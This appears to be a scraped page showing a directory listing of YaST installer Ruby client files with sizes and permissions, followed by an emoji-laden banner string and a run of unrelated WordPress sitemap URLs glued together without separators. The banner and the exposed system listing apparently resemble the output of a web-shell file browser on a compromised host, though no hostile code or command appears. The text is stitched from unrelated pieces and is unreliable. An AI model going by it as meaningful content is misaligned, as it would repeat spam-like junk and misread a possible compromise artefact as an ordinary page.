registration.rb File 3.04 KB 0644
registration_sync.rb File 734 B 0644
relocation-server.rb File 3.45 KB 0644
remote.rb File 4.51 KB 0644
remote_finish.rb File 900 B 0644
remote_proposal.rb File 3.01 KB 0644
report_auto.rb File 7.94 KB 0644
repositories.rb File 308 B 0644
roles_finish.rb File 86 B 0644
rootpart_check_keyboard.rb File 1.63 KB 0644
rootpart_proposal.rb File 4.83 KB 0644
routing.rb File 12.82 KB 0644
routing_auto.rb File 3.39 KB 0644
samba-client.rb File 9.59 KB 0644
samba-client_auto.rb File 4.02 KB 0644
save_config_finish.rb File 88 B 0644
save_hw_status_finish.rb File 93 B 0644
save_network.rb File 9.33 KB 0644
scc.rb File 3.04 KB 0644
scc_auto.rb File 10.93 KB 0644
scc_finish.rb File 92 B 0644
scripts_auto.rb File 1.87 KB 0644
security.rb File 8.23 KB 0644
security_auto.rb File 4.25 KB 0644
security_summary.rb File 1.76 KB 0644
select_language.rb File 22.52 KB 0644
select_slp_source.rb File 432 B 0644
services-manager.rb File 7.25 KB 0644
services-manager_auto.rb File 1.13 KB 0644
services-manager_finish.rb File 117 B 0644
services.rb File 7.25 KB 0644
services_finish.rb File 92 B 0644
services_proposal.rb File 10.74 KB 0644
snapper.rb File 1.86 KB 0644
snapshots_finish.rb File 77 B 0644
software_auto.rb File 8.08 KB 0644
software_proposal.rb File 82 B 0644
software_simple_proposal.rb File 2.06 KB 0644
squid.rb File 3.86 KB 0644
squid_auto.rb File 3.89 KB 0644
ssh_import_auto.rb File 88 B 0644
ssh_import_proposal.rb File 85 B 0644
ssh_settings_finish.rb File 90 B 0644
storage.rb File 949 B 0644
storage_auto.rb File 2.49 KB 0644
storage_finish.rb File 3.04 KB 0644
stroj-casu.rb File 73 B 0644
sudo.rb File 2.6 KB 0644
support.rb File 3.12 KB 0644
support_auto.rb File 3.94 KB 0644
support_proposal.rb File 3.43 KB 0644
sw_single.rb File 26.4 KB 0644
switch_scr_finish.rb File 86 B 0644
sysconfig.rb File 4.36 KB 0644
sysconfig_auto.rb File 2.19 KB 0644
test_inst_client.rb File 84 B 0644
test_proposal.rb File 79 B 0644
tftp-server.rb File 4.33 KB 0644
tftp-server_auto.rb File 2.82 KB 0644
timezone.rb File 6.64 KB 0644
timezone_auto.rb File 2.82 KB 0644
timezone_proposal.rb File 2.67 KB 0644
umount_finish.rb File 79 B 0644
update_proposal.rb File 18.74 KB 0644
update_wizard_steps.rb File 90 B 0644
users.rb File 10.97 KB 0644
users_auto.rb File 5.54 KB 0644
users_encryption_method.rb File 1012 B 0644
users_encryption_proposal.rb File 819 B 0644
users_finish.rb File 1.2 KB 0644
users_plugin_ldap_all.rb File 11.17 KB 0644
users_plugin_ldap_passwordpolicy.rb File 7.03 KB 0644
users_plugin_ldap_shadowaccount.rb File 10.53 KB 0644
users_plugin_quota.rb File 18.49 KB 0644
users_proposal.rb File 1.08 KB 0644
vendor.rb File 10.32 KB 0644
view_anymsg.rb File 8.08 KB 0644
virtualization.rb File 3.02 KB 0644
vm_finish.rb File 4.69 KB 0644
vpn.rb File 1008 B 0644
vpn_auto.rb File 950 B 0644
wol.rb File 6.59 KB 0644
wrapper_slideshow_callbacks.rb File 1.27 KB 0644
wrapper_storage.rb File 1.96 KB 0644
x11_finish.rb File 73 B 0644
xinetd.rb File 1.15 KB 0644
yast_inf_finish.rb File 82 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml